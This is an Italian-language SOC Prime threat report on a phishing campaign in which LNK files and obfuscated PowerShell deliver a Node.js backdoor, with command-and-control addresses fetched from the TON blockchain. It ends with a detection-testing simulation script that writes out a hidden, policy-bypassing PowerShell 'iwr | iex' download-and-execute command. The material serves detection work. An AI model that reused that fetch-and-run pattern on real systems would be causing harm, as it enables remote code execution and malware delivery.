SOC Prime Bias: Alto

14 Jul 2026 15:26 UTC

Attacco LNK Multi-Stage Utilizza la Blockchain di TON per Consegnare un Backdoor Node.js

Author Photo
SOC Prime Team linkedin icon Segui
Attacco LNK Multi-Stage Utilizza la Blockchain di TON per Consegnare un Backdoor Node.js
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Sommario

Un attacco sofisticato a più livelli utilizza file LNK dannosi distribuiti tramite phishing per implementare una backdoor basata su Node.js. Il malware si basa sulla tecnica EtherHiding interrogando la blockchain TON per ottenere i suoi indirizzi di comando e controllo, rendendo più facile per gli operatori aggiornare l’infrastruttura. Utilizza anche metodi di evasione avanzati, tra cui un interprete di macchine virtuali a bytecode personalizzato e script PowerShell pesantemente offuscati.

Investigazione

Il team di ricerca sulle minacce gestite LevelBlue ha scoperto la campagna tramite avvisi di sicurezza legati ad archivi ZIP e file LNK sospetti. Gli analisti hanno de-offuscato comandi PowerShell che utilizzavano logica bitwise e aritmetica per ricostruire URL dannosi. Hanno anche esaminato un interprete VM JavaScript personalizzato utilizzato per eseguire bytecode criptato e tracciato il recupero di comando e controllo a transazioni sulla blockchain TON.

Mitigazione

Le organizzazioni dovrebbero limitare l’esecuzione di file LNK da fonti non attendibili e monitorare comportamenti PowerShell sospetti, in particolare comandi che coinvolgono logica bitwise o calcoli con grandi numeri interi. Si dovrebbe usare un forte filtraggio delle email per bloccare link malevoli e i difensori dovrebbero osservare installazioni o esecuzioni non autorizzate di Node.js. Limitare l’accesso alle API collegate alla blockchain per processi insoliti potrebbe anche interrompere il recupero del comando e controllo.

Risposta

Se si rileva questa attività, isolare gli endpoint colpiti e terminare immediatamente node.exe o processi PowerShell sospetti. Eseguire analisi della memoria per recuperare il bytecode JavaScript decrittato e identificare i domini specifici di comando e controllo interrogati. Rivedere le chiavi Run del registro di sistema per la persistenza non autorizzata e cercare esclusioni di Windows Defender create dal malware.

Flusso d’Attacco

Esecuzione di Simulazione

Prerequisito: il controllo pre-flight di telemetria e baseline deve essere stato superato.

Motivazione: questa sezione dettagli l’esecuzione precisa della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente i TTP identificati e mirare a generare l’esatta telemetria prevista dalla logica di rilevamento. Esempi astratti o non correlati porteranno a diagnosi errate.

  • Narrazione & Comandi di Attacco: L’avversario mira a stabilire una backdoor sul sistema. Per eludere il rilevamento, utilizza un file LNK che esegue un comando PowerShell. Invece di un URL chiaro, utilizzano -band 255 and -shr 8 per manipolare grandi valori interi che, quando elaborati, ricostruiscono un URL puntando a un payload dannoso. Una volta che il payload è stato recuperato o messo in scena, il processo PowerShell genera node.exe per eseguire la backdoor basata su JavaScript, confondendosi con l’attività legittima degli sviluppatori sulla macchina.

  • Script di Test di Regressione:

    # Simulazione dell'esecuzione offuscata di PowerShell -> catena di esecuzione Node.js
    # Questo script imita gli argomenti specifici della riga di comando richiesti dalla regola di rilevamento.
    
    $jsPayload = "console.log('Connessione C2 Stabilita');"
    
    # Passo 1: Simulare la fase di offuscamento di PowerShell (come apparirebbe nella linea di comando del processo)
    # In un attacco reale, questo sarebbe il comando attivato dal file LNK.
    $simulatedPSCommand = "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -band 255 -shr 8 -Command `"`$url = [Convert]::ToString([bigint]123456789); iwr `$url | iex`""
    
    # Passo 2: Simulare la successiva esecuzione di Node.js come parte della stessa catena
    # Usare Start-Process per simulare la relazione genitore-figlio
    Start-Process "powershell.exe" -ArgumentList "-NoProfile -Command `"$simulatedPSCommand; node.exe $jsPayload`""
  • Comandi di Pulizia:

    # Non sono stati creati file persistenti da questa simulazione, 
    # ma assicuriamo che eventuali processi nodo generati siano terminati.
    Stop-Process -Name "node" -ErrorAction SilentlyContinue
    Stop-Process -Name "powershell" -ErrorAction SilentlyContinue